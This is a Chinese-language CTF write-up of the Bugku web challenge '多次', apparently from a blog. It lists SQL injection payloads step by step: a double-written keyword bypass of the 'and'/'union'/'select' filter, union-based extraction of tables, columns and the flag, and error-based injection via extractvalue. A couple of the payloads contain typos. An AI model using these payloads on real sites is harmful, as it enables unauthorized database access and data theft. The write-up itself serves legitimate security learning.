Bugku web——多次

打开链接

在这里插入图片描述
首先对id尝试注入单引号和双引号,发现都报错
继续测试,发现下面结果:

?id=1' --+ (显示成功)
?id=1" --+ (显示成功)
?id=1' and 1=1 --+ (显示报错)
?id=1" and 1=1 --+  (显示成功)

猜测sql语句使用的是单引号,且对and继续过滤
使用下面代码验证

?id=1'^(length('and')!=0)^'  (显示成功)

^是求异或符,计算得length('and')!=0为0,说明and确实被过滤
尝试双写绕过

?id=1' anandd 1=1 --+ (显示成功)

说明双写能成功绕过
下面使用union联合注入

?id=-1' ununionion seselectlect 1,2--+ (确定回显位置)

?id=-1' ununionion seselectlect 1, database() --+
 
?id=-1' ununionion sselectelect 1,group_concat(table_name) from infoorrmation_schema.tables where tabel_schema=database()--+

?id=-1' ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
 
?id=-1' ununionion sselectelect 1,group_concat(flag1,':',address) from flag1--+

得到下一关地址/once_more.php
在这里插入图片描述打开链接
在这里插入图片描述
对id尝试单引号注入,发现开启了报错回显,且sql语句使用单引号
因此使用报错注入

?id=1' and extractvalue(1,concat('~',(select database()))) %23

?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables from table_schema=database()))) %23

?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='flag2'))) %23 

?id=1' and extractvalue(1,concat('~',(select group_concat(flag2) from flag2))) %23

得到flag
在这里插入图片描述
此题还可使用Bool,Timing,和sqlmap

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值